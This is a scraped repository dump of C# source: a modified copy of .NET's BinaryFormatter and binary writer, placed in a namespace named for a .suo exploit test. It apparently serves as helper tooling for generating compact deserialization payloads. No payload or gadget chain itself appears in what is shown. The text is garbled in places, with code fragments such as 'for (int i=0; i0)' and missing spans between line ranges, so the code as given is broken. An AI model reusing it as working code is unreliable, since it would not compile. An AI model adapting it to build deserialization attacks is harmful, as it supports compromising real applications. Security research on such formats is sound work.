formatterEnums = new InternalFE(); 133 | formatterEnums.FEtypeFormat = m_typeFormat; 134 | formatterEnums.FEserializerTypeEnum = InternalSerializerTypeE.Binary; 135 | formatterEnums.FEassemblyFormat = m_assemblyFormat; 136 | formatterEnums.FEsecurityLevel = m_securityLevel; 137 | 138 | ObjectReader sor = new ObjectReader(serializationStream, m_surrogates, m_context, formatterEnums, m_binder); 139 | sor.crossAppDomainArray = m_crossAppDomainArray; 140 | return sor.Deserialize(handler, new __BinaryParser(serializationStream, sor), fCheck); 141 | 142 | #endif 143 | 144 | } 145 | 146 | 147 | 148 | // Deserialize the stream into an object graph. 149 | [System.Security.SecuritySafeCritical] // auto-generated 150 | public Object Deserialize(Stream serializationStream, HeaderHandler handler) { 151 | return Deserialize(serializationStream, handler, true); 152 | } 153 | 154 | #if FEATURE_REMOTING 155 | [System.Security.SecuritySafeCritical] // auto-generated 156 | public Object DeserializeMethodResponse(Stream serializationStream, HeaderHandler handler, IMethodCallMessage methodCallMessage) { 157 | return Deserialize(serializationStream, handler, true, methodCallMessage); 158 | } 159 | #endif 160 | [System.Security.SecurityCritical] // auto-generated_required 161 | [System.Runtime.InteropServices.ComVisible(false)] 162 | public Object UnsafeDeserialize(Stream serializationStream, HeaderHandler handler) { 163 | return Deserialize(serializationStream, handler, false); 164 | } 165 | 166 | #if FEATURE_REMOTING 167 | [System.Security.SecurityCritical] // auto-generated_required 168 | [System.Runtime.InteropServices.ComVisible(false)] 169 | public Object UnsafeDeserializeMethodResponse(Stream serializationStream, HeaderHandler handler, IMethodCallMessage methodCallMessage) { 170 | return Deserialize(serializationStream, handler, false, methodCallMessage); 171 | } 172 | 173 | [System.Security.SecurityCritical] // auto-generated 174 | internal Object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, IMethodCallMessage methodCallMessage) { 175 | return Deserialize(serializationStream, handler, fCheck, false/*isCrossAppDomain*/, methodCallMessage); 176 | } 177 | 178 | // Deserialize the stream into an object graph. 179 | [System.Security.SecurityCritical] // auto-generated 180 | internal Object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage) { 181 | if (serializationStream==null) 182 | { 183 | throw new ArgumentNullException("serializationStream", ModifiedVulnerableBinaryFormatters.binary.Environment.GetResourceString("ArgumentNull_WithParamName",serializationStream)); 184 | } 185 | Contract.EndContractBlock(); 186 | 187 | if (serializationStream.CanSeek && (serializationStream.Length == 0)) 188 | throw new SerializationException(Environment.GetResourceString("Serialization_Stream")); 189 | 190 | SerTrace.Log(this, "Deserialize Entry"); 191 | InternalFE formatterEnums = new InternalFE(); 192 | formatterEnums.FEtypeFormat = m_typeFormat; 193 | formatterEnums.FEserializerTypeEnum = InternalSerializerTypeE.Binary; 194 | formatterEnums.FEassemblyFormat = m_assemblyFormat; 195 | formatterEnums.FEsecurityLevel = m_securityLevel; 196 | 197 | ObjectReader sor = new ObjectReader(serializationStream, m_surrogates, m_context, formatterEnums, m_binder); 198 | sor.crossAppDomainArray = m_crossAppDomainArray; 199 | return sor.Deserialize(handler, new __BinaryParser(serializationStream, sor), fCheck, isCrossAppDomain, methodCallMessage); 200 | } 201 | #endif // FEATURE_REMOTING 202 | 203 | public void Serialize(Stream serializationStream, Object graph) 204 | { 205 | Serialize(serializationStream, graph, null); 206 | } 207 | 208 | // Commences the process of serializing the entire graph. All of the data (in the appropriate format 209 | // is emitted onto the stream). 210 | [System.Security.SecuritySafeCritical] // auto-generated 211 | public void Serialize(Stream serializationStream, Object graph, Header[] headers) 212 | { 213 | Serialize(serializationStream, graph, headers, true); 214 | } 215 | 216 | // Commences the process of serializing the entire graph. All of the data (in the appropriate format 217 | // is emitted onto the stream). 218 | [System.Security.SecurityCritical] // auto-generated 219 | internal void Serialize(Stream serializationStream, Object graph, Header[] headers, bool fCheck) 220 | { 221 | if (serializationStream == null) 222 | { 223 | throw new ArgumentNullException("serializationStream", Environment.GetResourceString("ArgumentNull_WithParamName", serializationStream)); 224 | } 225 | Contract.EndContractBlock(); 226 | SerTrace.Log(this, "Serialize Entry"); 227 | 228 | InternalFE formatterEnums = new InternalFE(); 229 | formatterEnums.FEtypeFormat = m_typeFormat; 230 | formatterEnums.FEserializerTypeEnum = InternalSerializerTypeE.Binary; 231 | formatterEnums.FEassemblyFormat = m_assemblyFormat; 232 | 233 | ObjectWriter sow = new ObjectWriter(m_surrogates, m_context, formatterEnums, m_binder); 234 | __BinaryWriter binaryWriter = new __BinaryWriter(serializationStream, sow, m_typeFormat); 235 | sow.Serialize(graph, headers, binaryWriter, fCheck); 236 | m_crossAppDomainArray = sow.crossAppDomainArray; 237 | } 238 | 239 | internal static TypeInformation GetTypeInformation(Type type) 240 | { 241 | /* 242 | if (AppContextSwitches.UseConcurrentFormatterTypeCache) 243 | { 244 | return concurrentTypeNameCache.Value.GetOrAdd(type, (t) => 245 | { 246 | bool hasTypeForwardedFrom2; 247 | string assemblyName2 = FormatterServices.GetClrAssemblyName(t, out hasTypeForwardedFrom2); 248 | return new TypeInformation(FormatterServices.GetClrTypeFullName(t), assemblyName2, hasTypeForwardedFrom2); 249 | }); 250 | } 251 | */ 252 | lock (typeNameCache) 253 | { 254 | TypeInformation typeInformation = null; 255 | if (!typeNameCache.TryGetValue(type, out typeInformation)) 256 | { 257 | Assembly mscorlibAsm = Assembly.Load("mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"); 258 | var FormatterServicesRef = mscorlibAsm.GetType("System.Runtime.Serialization.FormatterServices"); 259 | var getClrAssemblyName = FormatterServicesRef.GetMethod("GetClrAssemblyName", BindingFlags.Static | BindingFlags.NonPublic); 260 | bool hasTypeForwardedFrom = true; 261 | var getClrAssemblyNameResult = (string)getClrAssemblyName.Invoke(null,new object[] { type, hasTypeForwardedFrom }); 262 | var getClrTypeFullName = FormatterServicesRef.GetMethod("GetClrTypeFullName", BindingFlags.Static | BindingFlags.NonPublic); 263 | var getClrTypeFullNameResult = (string)getClrTypeFullName.Invoke(null, new object[] { type }); 264 | typeInformation = new TypeInformation(getClrTypeFullNameResult, getClrAssemblyNameResult, hasTypeForwardedFrom); 265 | /* 266 | bool hasTypeForwardedFrom; 267 | string assemblyName = FormatterServices.GetClrAssemblyName(type, out hasTypeForwardedFrom); 268 | typeInformation = new TypeInformation(FormatterServices.GetClrTypeFullName(type), assemblyName, hasTypeForwardedFrom); 269 | */ 270 | 271 | typeNameCache.Add(type, typeInformation); 272 | } 273 | return typeInformation; 274 | } 275 | } 276 | } 277 | } 278 | -------------------------------------------------------------------------------- /ModifiedVulnerableBinaryFormatters/binaryformatterwriter.cs: -------------------------------------------------------------------------------- 1 | // ==++== 2 | // 3 | // Copyright (c) Microsoft Corporation. All rights reserved. 4 | // 5 | // ==--== 6 | /*============================================================ 7 | ** 8 | ** Class: BinaryWriter 9 | ** 10 | ** 11 | ** Purpose: Writes primitive values to a stream 12 | ** 13 | ** 14 | ===========================================================*/ 15 | 16 | namespace suo_exploit_test.Helpers.ModifiedVulnerableBinaryFormatters { 17 | 18 | using System; 19 | using System.Collections; 20 | using System.IO; 21 | using System.Reflection; 22 | using System.Text; 23 | using System.Globalization; 24 | using System.Runtime.Serialization.Formatters; 25 | using System.Configuration.Assemblies; 26 | using System.Threading; 27 | using System.Runtime.Remoting; 28 | using System.Runtime.Serialization; 29 | 30 | public sealed class __BinaryWriter 31 | { 32 | internal Stream sout; 33 | internal FormatterTypeStyle formatterTypeStyle; 34 | internal Hashtable objectMapTable; 35 | internal ObjectWriter objectWriter = null; 36 | internal BinaryWriter dataWriter = null; 37 | 38 | // disable csharp compiler warning #0414: field assigned unused value 39 | #pragma warning disable 0414 40 | internal int m_nestedObjectCount; 41 | #pragma warning restore 0414 42 | private int nullCount = 0; //Count of consecutive array nulls 43 | 44 | // Constructor 45 | internal __BinaryWriter(Stream sout, ObjectWriter objectWriter, FormatterTypeStyle formatterTypeStyle) 46 | { 47 | SerTrace.Log( this, "BinaryWriter "); 48 | this.sout = sout; 49 | this.formatterTypeStyle = formatterTypeStyle; 50 | this.objectWriter = objectWriter; 51 | m_nestedObjectCount = 0; 52 | dataWriter = new BinaryWriter(sout, Encoding.UTF8); 53 | } 54 | 55 | internal void WriteBegin() 56 | { 57 | BCLDebug.Trace("BINARY", "\n%%%%%BinaryWriterBegin%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n"); 58 | } 59 | 60 | internal void WriteEnd() 61 | { 62 | BCLDebug.Trace("BINARY", "\n%%%%%BinaryWriterEnd%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n"); 63 | dataWriter.Flush(); 64 | } 65 | 66 | // Methods to write a value onto the stream 67 | internal void WriteBoolean(Boolean value) 68 | { 69 | dataWriter.Write(value); 70 | } 71 | 72 | internal void WriteByte(Byte value) 73 | { 74 | dataWriter.Write(value); 75 | } 76 | 77 | //private void WriteBytes(Byte[] value) 78 | internal void WriteBytes(Byte[] value) 79 | { 80 | dataWriter.Write(value); 81 | } 82 | 83 | private void WriteBytes(byte[] byteA, int offset, int size) 84 | { 85 | dataWriter.Write(byteA, offset, size); 86 | } 87 | 88 | internal void WriteChar(Char value) 89 | { 90 | dataWriter.Write(value); 91 | } 92 | 93 | internal void WriteChars(Char[] value) 94 | { 95 | dataWriter.Write(value); 96 | } 97 | 98 | 99 | internal void WriteDecimal(Decimal value) 100 | { 101 | WriteString(value.ToString(CultureInfo.InvariantCulture)); 102 | } 103 | 104 | internal void WriteSingle(Single value) 105 | { 106 | dataWriter.Write(value); 107 | } 108 | 109 | internal void WriteDouble(Double value) 110 | { 111 | dataWriter.Write(value); 112 | } 113 | 114 | internal void WriteInt16(Int16 value) 115 | { 116 | dataWriter.Write(value); 117 | } 118 | 119 | internal void WriteInt32(Int32 value) 120 | { 121 | dataWriter.Write(value); 122 | } 123 | 124 | internal void WriteInt64(Int64 value) 125 | { 126 | dataWriter.Write(value); 127 | } 128 | 129 | internal void WriteSByte(SByte value) 130 | { 131 | WriteByte((Byte)value); 132 | } 133 | 134 | internal void WriteString(String value) 135 | { 136 | dataWriter.Write(value); 137 | } 138 | 139 | internal void WriteTimeSpan(TimeSpan value) 140 | { 141 | WriteInt64(value.Ticks); 142 | } 143 | 144 | internal void WriteDateTime(DateTime value) 145 | { 146 | //WriteInt64(value.ToBinaryRaw()); 147 | WriteInt64(value.ToBinary()); 148 | } 149 | 150 | internal void WriteUInt16(UInt16 value) 151 | { 152 | dataWriter.Write(value); 153 | } 154 | 155 | internal void WriteUInt32(UInt32 value) 156 | { 157 | dataWriter.Write(value); 158 | } 159 | 160 | internal void WriteUInt64(UInt64 value) 161 | { 162 | dataWriter.Write(value); 163 | } 164 | 165 | internal void WriteObjectEnd(NameInfo memberNameInfo, NameInfo typeNameInfo) 166 | { 167 | } 168 | 169 | internal void WriteSerializationHeaderEnd() 170 | { 171 | MessageEnd record = new MessageEnd(); 172 | record.Dump(sout); 173 | record.Write(this); 174 | } 175 | 176 | // Methods to write Binary Serialization Record onto the stream, a record is composed of primitive types 177 | 178 | internal void WriteSerializationHeader(int topId, int headerId, int minorVersion, int majorVersion) 179 | { 180 | SerializationHeaderRecord record = new SerializationHeaderRecord(BinaryHeaderEnum.SerializedStreamHeader, topId, headerId, minorVersion, majorVersion); 181 | record.Dump(); 182 | record.Write(this); 183 | } 184 | 185 | 186 | internal BinaryMethodCall binaryMethodCall; 187 | internal void WriteMethodCall() 188 | { 189 | if (binaryMethodCall == null) 190 | binaryMethodCall = new BinaryMethodCall(); 191 | 192 | binaryMethodCall.Dump(); 193 | binaryMethodCall.Write(this); 194 | } 195 | 196 | internal Object[] WriteCallArray(String uri, String methodName, String typeName, Type[] instArgs, Object[] args, Object methodSignature, Object callContext, Object[] properties) 197 | { 198 | if (binaryMethodCall == null) 199 | binaryMethodCall = new BinaryMethodCall(); 200 | return binaryMethodCall.WriteArray(uri, methodName, typeName, instArgs, args, methodSignature, callContext, properties); 201 | } 202 | 203 | internal BinaryMethodReturn binaryMethodReturn; 204 | internal void WriteMethodReturn() 205 | { 206 | if (binaryMethodReturn == null) 207 | binaryMethodReturn = new BinaryMethodReturn(); 208 | binaryMethodReturn.Dump(); 209 | binaryMethodReturn.Write(this); 210 | } 211 | 212 | internal Object[] WriteReturnArray(Object returnValue, Object[] args, Exception exception, Object callContext, Object[] properties) 213 | { 214 | if (binaryMethodReturn == null) 215 | binaryMethodReturn = new BinaryMethodReturn(); 216 | return binaryMethodReturn.WriteArray(returnValue, args, exception, callContext, properties); 217 | } 218 | 219 | internal BinaryObject binaryObject; 220 | internal BinaryObjectWithMap binaryObjectWithMap; 221 | internal BinaryObjectWithMapTyped binaryObjectWithMapTyped; 222 | //internal BinaryCrossAppDomainMap crossAppDomainMap; 223 | 224 | internal void WriteObject(NameInfo nameInfo, NameInfo typeNameInfo, int numMembers, String[] memberNames, Type[] memberTypes, WriteObjectInfo[] memberObjectInfos) 225 | { 226 | InternalWriteItemNull(); 227 | int assemId; 228 | #if _DEBUG 229 | nameInfo.Dump("WriteObject nameInfo"); 230 | typeNameInfo.Dump("WriteObject typeNameInfo"); 231 | #endif 232 | 233 | int objectId = (int)nameInfo.NIobjectId; 234 | 235 | //if (objectId < 0) 236 | // objectId = --m_nestedObjectCount; 237 | 238 | if (objectId > 0) 239 | { 240 | BCLDebug.Trace("BINARY", "-----Top Level Object-----"); 241 | } 242 | 243 | String objectName = null; 244 | if (objectId < 0) 245 | { 246 | // Nested Object 247 | objectName = typeNameInfo.NIname; 248 | } 249 | else 250 | { 251 | // Non-Nested 252 | objectName = nameInfo.NIname; 253 | } 254 | SerTrace.Log( this, "WriteObject objectName ",objectName); 255 | 256 | if (objectMapTable == null) 257 | { 258 | objectMapTable = new Hashtable(); 259 | } 260 | 261 | ObjectMapInfo objectMapInfo = (ObjectMapInfo)objectMapTable[objectName]; 262 | 263 | if (objectMapInfo != null && objectMapInfo.isCompatible(numMembers, memberNames, memberTypes)) 264 | { 265 | // Object 266 | if (binaryObject == null) 267 | binaryObject = new BinaryObject(); 268 | binaryObject.Set(objectId, objectMapInfo.objectId); 269 | #if _DEBUG 270 | binaryObject.Dump(); 271 | #endif 272 | binaryObject.Write(this); 273 | } 274 | else if (!typeNameInfo.NItransmitTypeOnObject) 275 | { 276 | 277 | // ObjectWithMap 278 | if (binaryObjectWithMap == null) 279 | binaryObjectWithMap = new BinaryObjectWithMap(); 280 | 281 | // BCL types are not placed into table 282 | assemId = (int)typeNameInfo.NIassemId; 283 | binaryObjectWithMap.Set(objectId, objectName, numMembers, memberNames, assemId); 284 | 285 | binaryObjectWithMap.Dump(); 286 | binaryObjectWithMap.Write(this); 287 | if (objectMapInfo == null) 288 | objectMapTable.Add(objectName, new ObjectMapInfo(objectId, numMembers, memberNames, memberTypes)); 289 | } 290 | else 291 | { 292 | // ObjectWithMapTyped 293 | BinaryTypeEnum[] binaryTypeEnumA = new BinaryTypeEnum[numMembers]; 294 | Object[] typeInformationA = new Object[numMembers]; 295 | int[] assemIdA = new int[numMembers]; 296 | for (int i=0; i0) 375 | { 376 | BCLDebug.Trace("BINARY", "-----Top Level Object-----"); 377 | } 378 | #if _DEBUG 379 | binaryArray.Dump(); 380 | #endif 381 | binaryArray.Write(this); 382 | 383 | if (Converter.IsWriteAsByteArray(arrayElemTypeNameInfo.NIprimitiveTypeEnum) && (lowerBound == 0)) 384 | { 385 | //array is written out as an array of bytes 386 | if (arrayElemTypeNameInfo.NIprimitiveTypeEnum == InternalPrimitiveTypeE.Byte) 387 | WriteBytes((Byte[])array); 388 | else if (arrayElemTypeNameInfo.NIprimitiveTypeEnum == InternalPrimitiveTypeE.Char) 389 | WriteChars((char[])array); 390 | else 391 | WriteArrayAsBytes(array, Converter.TypeLength(arrayElemTypeNameInfo.NIprimitiveTypeEnum)); 392 | } 393 | } 394 | 395 | byte[] byteBuffer = null; 396 | int chunkSize = 4096; 397 | 398 | [System.Security.SecurityCritical] // auto-generated 399 | private void WriteArrayAsBytes(Array array, int typeLength) 400 | { 401 | InternalWriteItemNull(); 402 | int byteLength = array.Length*typeLength; 403 | int arrayOffset = 0; 404 | if (byteBuffer == null) 405 | byteBuffer = new byte[chunkSize]; 406 | 407 | while (arrayOffset < array.Length) 408 | { 409 | int numArrayItems = Math.Min(chunkSize/typeLength, array.Length-arrayOffset); 410 | int bufferUsed = numArrayItems*typeLength; 411 | Assembly mscorlibAsm = Assembly.Load("mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"); 412 | var BufferRef = mscorlibAsm.GetType("System.Buffer"); 413 | var internalBlockCopy = BufferRef.GetMethod("InternalBlockCopy", BindingFlags.Static | BindingFlags.NonPublic); 414 | var internalBlockCopyResult = (bool)internalBlockCopy.Invoke(null, new object[] { array, arrayOffset * typeLength, byteBuffer, 0, bufferUsed }); 415 | 416 | 417 | //Buffer.InternalBlockCopy(array, arrayOffset*typeLength, byteBuffer, 0, bufferUsed); 418 | #if BIGENDIAN 419 | // we know that we are writing a primitive type, so just do a simple swap 420 | for (int i = 0; i < bufferUsed; i += typeLength) 421 | { 422 | for (int j = 0; j < typeLength / 2; j++) 423 | { 424 | byte tmp = byteBuffer[i + j]; 425 | byteBuffer[i + j] = byteBuffer[i + typeLength-1 - j]; 426 | byteBuffer[i + typeLength-1 - j] = tmp; 427 | } 428 | } 429 | #endif 430 | WriteBytes(byteBuffer, 0, bufferUsed); 431 | arrayOffset += numArrayItems; 432 | } 433 | } 434 | 435 | 436 | internal void WriteJaggedArray(NameInfo memberNameInfo, NameInfo arrayNameInfo, WriteObjectInfo objectInfo, NameInfo arrayElemTypeNameInfo, int length, int lowerBound) 437 | { 438 | #if _DEBUG 439 | arrayNameInfo.Dump("WriteRectangleArray arrayNameInfo"); 440 | arrayElemTypeNameInfo.Dump("WriteRectangleArray arrayElemTypeNameInfo"); 441 | #endif 442 | InternalWriteItemNull(); 443 | BinaryArrayTypeEnum binaryArrayTypeEnum; 444 | Int32[] lengthA = new Int32[1]; 445 | lengthA[0] = length; 446 | Int32[] lowerBoundA = null; 447 | Object typeInformation = null; 448 | int assemId = 0; 449 | 450 | if (lowerBound == 0) 451 | { 452 | binaryArrayTypeEnum = BinaryArrayTypeEnum.Jagged; 453 | } 454 | else 455 | { 456 | binaryArrayTypeEnum = BinaryArrayTypeEnum.JaggedOffset; 457 | lowerBoundA = new Int32[1]; 458 | lowerBoundA[0] = lowerBound; 459 | } 460 | 461 | BinaryTypeEnum binaryTypeEnum = BinaryConverter.GetBinaryTypeInfo(arrayElemTypeNameInfo.NItype, objectInfo, arrayElemTypeNameInfo.NIname, objectWriter, out typeInformation, out assemId); 462 | 463 | if (binaryArray == null) 464 | binaryArray = new BinaryArray(); 465 | binaryArray.Set((int)arrayNameInfo.NIobjectId, (int)1, lengthA, lowerBoundA, binaryTypeEnum, typeInformation, binaryArrayTypeEnum, assemId); 466 | 467 | if (arrayNameInfo.NIobjectId >0) 468 | { 469 | BCLDebug.Trace("BINARY", "-----Top Level Object-----"); 470 | } 471 | #if _DEBUG 472 | binaryArray.Dump(); 473 | #endif 474 | binaryArray.Write(this); 475 | } 476 | 477 | internal void WriteRectangleArray(NameInfo memberNameInfo, NameInfo arrayNameInfo, WriteObjectInfo objectInfo, NameInfo arrayElemTypeNameInfo, int rank, int[] lengthA, int[] lowerBoundA) 478 | { 479 | #if _DEBUG 480 | arrayNameInfo.Dump("WriteRectangleArray arrayNameInfo"); 481 | arrayElemTypeNameInfo.Dump("WriteRectangleArray arrayElemTypeNameInfo"); 482 | #endif 483 | InternalWriteItemNull(); 484 | 485 | BinaryArrayTypeEnum binaryArrayTypeEnum = BinaryArrayTypeEnum.Rectangular; 486 | Object typeInformation = null; 487 | int assemId = 0; 488 | BinaryTypeEnum binaryTypeEnum = BinaryConverter.GetBinaryTypeInfo(arrayElemTypeNameInfo.NItype, objectInfo, arrayElemTypeNameInfo.NIname, objectWriter, out typeInformation, out assemId); 489 | 490 | if (binaryArray == null) 491 | binaryArray = new BinaryArray(); 492 | 493 | for (int i=0; i0) 506 | { 507 | BCLDebug.Trace("BINARY", "-----Top Level Object-----"); 508 | } 509 | #if _DEBUG 510 | binaryArray.Dump(); 511 | #endif 512 | binaryArray.Write(this); 513 | } 514 | 515 | 516 | [System.Security.SecurityCritical] // auto-generated 517 | internal void WriteObjectByteArray(NameInfo memberNameInfo, NameInfo arrayNameInfo, WriteObjectInfo objectInfo, NameInfo arrayElemTypeNameInfo, int length, int lowerBound, Byte[] byteA) 518 | { 519 | #if _DEBUG 520 | arrayNameInfo.Dump("WriteObjectByteArray arrayNameInfo"); 521 | arrayElemTypeNameInfo.Dump("WriteObjectByteArray arrayElemTypeNameInfo"); 522 | #endif 523 | InternalWriteItemNull(); 524 | WriteSingleArray(memberNameInfo, arrayNameInfo, objectInfo, arrayElemTypeNameInfo, length, lowerBound, byteA); 525 | } 526 | 527 | internal MemberPrimitiveUnTyped memberPrimitiveUnTyped; 528 | internal MemberPrimitiveTyped memberPrimitiveTyped; 529 | 530 | internal void WriteMember(NameInfo memberNameInfo, NameInfo typeNameInfo, Object value) 531 | { 532 | #if _DEBUG 533 | SerTrace.Log("BinaryWriter", "Write Member memberName ",memberNameInfo.NIname,", value ",value); 534 | memberNameInfo.Dump("WriteMember memberNameInfo"); 535 | typeNameInfo.Dump("WriteMember typeNameInfo"); 536 | #endif 537 | InternalWriteItemNull(); 538 | InternalPrimitiveTypeE typeInformation = typeNameInfo.NIprimitiveTypeEnum; 539 | 540 | // Writes Members with primitive values 541 | 542 | if (memberNameInfo.NItransmitTypeOnMember) 543 | { 544 | if (memberPrimitiveTyped == null) 545 | memberPrimitiveTyped = new MemberPrimitiveTyped(); 546 | memberPrimitiveTyped.Set((InternalPrimitiveTypeE)typeInformation, value); 547 | 548 | if (memberNameInfo.NIisArrayItem) 549 | { 550 | BCLDebug.Trace("BINARY", "-----item-----"); 551 | } 552 | else 553 | { 554 | BCLDebug.Trace("BINARY","-----",memberNameInfo.NIname,"-----"); 555 | } 556 | memberPrimitiveTyped.Dump(); 557 | 558 | memberPrimitiveTyped.Write(this); 559 | } 560 | else 561 | { 562 | if (memberPrimitiveUnTyped == null) 563 | memberPrimitiveUnTyped = new MemberPrimitiveUnTyped(); 564 | memberPrimitiveUnTyped.Set(typeInformation, value); 565 | 566 | if (memberNameInfo.NIisArrayItem) 567 | { 568 | BCLDebug.Trace("BINARY", "-----item-----"); 569 | } 570 | else 571 | { 572 | BCLDebug.Trace("BINARY", "-----",memberNameInfo.NIname,"-----"); 573 | } 574 | memberPrimitiveUnTyped.Dump(); 575 | 576 | memberPrimitiveUnTyped.Write(this); 577 | 578 | } 579 | } 580 | 581 | internal ObjectNull objectNull; 582 | 583 | 584 | internal void WriteNullMember(NameInfo memberNameInfo, NameInfo typeNameInfo) 585 | { 586 | #if _DEBUG 587 | typeNameInfo.Dump("WriteNullMember typeNameInfo"); 588 | #endif 589 | InternalWriteItemNull(); 590 | if (objectNull == null) 591 | objectNull = new ObjectNull(); 592 | 593 | if (memberNameInfo.NIisArrayItem) 594 | { 595 | BCLDebug.Trace("BINARY", "-----item-----"); 596 | } 597 | else 598 | { 599 | objectNull.SetNullCount(1); 600 | BCLDebug.Trace("BINARY", "-----",memberNameInfo.NIname,"-----"); 601 | objectNull.Dump(); 602 | objectNull.Write(this); 603 | nullCount = 0; 604 | } 605 | } 606 | 607 | internal MemberReference memberReference; 608 | 609 | internal void WriteMemberObjectRef(NameInfo memberNameInfo, int idRef) 610 | { 611 | InternalWriteItemNull(); 612 | if (memberReference == null) 613 | memberReference = new MemberReference(); 614 | memberReference.Set(idRef); 615 | 616 | if (memberNameInfo.NIisArrayItem) 617 | { 618 | BCLDebug.Trace("BINARY", "-----item-----"); 619 | } 620 | else 621 | { 622 | BCLDebug.Trace("BINARY", "-----",memberNameInfo.NIname,"-----"); 623 | } 624 | memberReference.Dump(); 625 | 626 | memberReference.Write(this); 627 | } 628 | 629 | internal void WriteMemberNested(NameInfo memberNameInfo) 630 | { 631 | InternalWriteItemNull(); 632 | if (memberNameInfo.NIisArrayItem) 633 | { 634 | BCLDebug.Trace("BINARY", "-----item-----"); 635 | } 636 | else 637 | { 638 | BCLDebug.Trace("BINARY", "-----",memberNameInfo.NIname,"-----"); 639 | } 640 | } 641 | 642 | internal void WriteMemberString(NameInfo memberNameInfo, NameInfo typeNameInfo, String value) 643 | { 644 | if(!memberNameInfo.NIFullName.Contains("Signature")) 645 | value = BinaryFormatterMinifier.AssemblyOrTypeNameMinifier(value); 646 | 647 | InternalWriteItemNull(); 648 | if (memberNameInfo.NIisArrayItem) 649 | { 650 | BCLDebug.Trace("BINARY", "-----item-----"); 651 | } 652 | else 653 | { 654 | BCLDebug.Trace("BINARY", "-----",memberNameInfo.NIname,"-----"); 655 | } 656 | WriteObjectString((int)typeNameInfo.NIobjectId, value); 657 | } 658 | 659 | internal void WriteItem(NameInfo itemNameInfo, NameInfo typeNameInfo, Object value) 660 | { 661 | InternalWriteItemNull(); 662 | WriteMember(itemNameInfo, typeNameInfo, value); 663 | } 664 | 665 | internal void WriteNullItem(NameInfo itemNameInfo, NameInfo typeNameInfo) 666 | { 667 | nullCount++; 668 | InternalWriteItemNull(); 669 | } 670 | 671 | internal void WriteDelayedNullItem() 672 | { 673 | nullCount++; 674 | } 675 | 676 | internal void WriteItemEnd() 677 | { 678 | InternalWriteItemNull(); 679 | } 680 | 681 | private void InternalWriteItemNull() 682 | { 683 | if (nullCount > 0) 684 | { 685 | if (objectNull == null) 686 | objectNull = new ObjectNull(); 687 | objectNull.SetNullCount(nullCount); 688 | BCLDebug.Trace("BINARY", "-----item-----"); 689 | objectNull.Dump(); 690 | objectNull.Write(this); 691 | nullCount = 0; 692 | } 693 | } 694 | 695 | internal void WriteItemObjectRef(NameInfo nameInfo, int idRef) 696 | { 697 | InternalWriteItemNull(); 698 | WriteMemberObjectRef(nameInfo, idRef); 699 | } 700 | 701 | 702 | internal BinaryAssembly binaryAssembly; 703 | internal BinaryCrossAppDomainAssembly crossAppDomainAssembly; 704 | 705 | internal void WriteAssembly(Type type, String assemblyString, int assemId, bool isNew) 706 | { 707 | SerTrace.Log( this,"WriteAssembly type ",type,", id ",assemId,", name ", assemblyString,", isNew ",isNew); 708 | //If the file being tested wasn't built as an assembly, then we're going to get null back 709 | //for the assembly name. This is very unfortunate. 710 | InternalWriteItemNull(); 711 | if (assemblyString==null) 712 | { 713 | assemblyString=String.Empty; 714 | } 715 | 716 | if (isNew) 717 | { 718 | if (binaryAssembly == null) 719 | binaryAssembly = new BinaryAssembly(); 720 | binaryAssembly.Set(assemId, assemblyString); 721 | binaryAssembly.Dump(); 722 | binaryAssembly.Write(this); 723 | } 724 | } 725 | 726 | // Method to write a value onto a stream given its primitive type code 727 | internal void WriteValue(InternalPrimitiveTypeE code, Object value) 728 | { 729 | SerTrace.Log( this, "WriteValue Entry ",((Enum)code).ToString()," " , ((value==null)?"":value.GetType().ToString()) , " ",value); 730 | 731 | switch (code) 732 | { 733 | case InternalPrimitiveTypeE.Boolean: 734 | WriteBoolean(Convert.ToBoolean(value, CultureInfo.InvariantCulture)); 735 | break; 736 | case InternalPrimitiveTypeE.Byte: 737 | WriteByte(Convert.ToByte(value, CultureInfo.InvariantCulture)); 738 | break; 739 | case InternalPrimitiveTypeE.Char: 740 | WriteChar(Convert.ToChar(value, CultureInfo.InvariantCulture)); 741 | break; 742 | case InternalPrimitiveTypeE.Double: 743 | WriteDouble(Convert.ToDouble(value, CultureInfo.InvariantCulture)); 744 | break; 745 | case InternalPrimitiveTypeE.Int16: 746 | WriteInt16(Convert.ToInt16(value, CultureInfo.InvariantCulture)); 747 | break; 748 | case InternalPrimitiveTypeE.Int32: 749 | WriteInt32(Convert.ToInt32(value, CultureInfo.InvariantCulture)); 750 | break; 751 | case InternalPrimitiveTypeE.Int64: 752 | WriteInt64(Convert.ToInt64(value, CultureInfo.InvariantCulture)); 753 | break; 754 | case InternalPrimitiveTypeE.SByte: 755 | WriteSByte(Convert.ToSByte(value, CultureInfo.InvariantCulture)); 756 | break; 757 | case InternalPrimitiveTypeE.Single: 758 | WriteSingle(Convert.ToSingle(value, CultureInfo.InvariantCulture)); 759 | break; 760 | case InternalPrimitiveTypeE.UInt16: 761 | WriteUInt16(Convert.ToUInt16(value, CultureInfo.InvariantCulture)); 762 | break; 763 | case InternalPrimitiveTypeE.UInt32: 764 | WriteUInt32(Convert.ToUInt32(value, CultureInfo.InvariantCulture)); 765 | break; 766 | case InternalPrimitiveTypeE.UInt64: 767 | WriteUInt64(Convert.ToUInt64(value, CultureInfo.InvariantCulture)); 768 | break; 769 | case InternalPrimitiveTypeE.Decimal: 770 | WriteDecimal(Convert.ToDecimal(value, CultureInfo.InvariantCulture)); 771 | break; 772 | case InternalPrimitiveTypeE.TimeSpan: 773 | WriteTimeSpan((TimeSpan)value); 774 | break; 775 | case InternalPrimitiveTypeE.DateTime: 776 | WriteDateTime((DateTime)value); 777 | break; 778 | default: 779 | throw new SerializationException(Environment.GetResourceString("Serialization_TypeCode",((Enum)code).ToString())); 780 | } 781 | SerTrace.Log( this, "Write Exit "); 782 | } 783 | } 784 | 785 | internal sealed class ObjectMapInfo 786 | { 787 | internal int objectId; 788 | int numMembers; 789 | String[] memberNames; 790 | Type[] memberTypes; 791 | 792 | internal ObjectMapInfo(int objectId, int numMembers, String[] memberNames, Type[] memberTypes) 793 | { 794 | this.objectId = objectId; 795 | this.numMembers = numMembers; 796 | this.memberNames = memberNames; 797 | this.memberTypes = memberTypes; 798 | } 799 | 800 | internal bool isCompatible(int numMembers, String[] memberNames, Type[] memberTypes) 801 | { 802 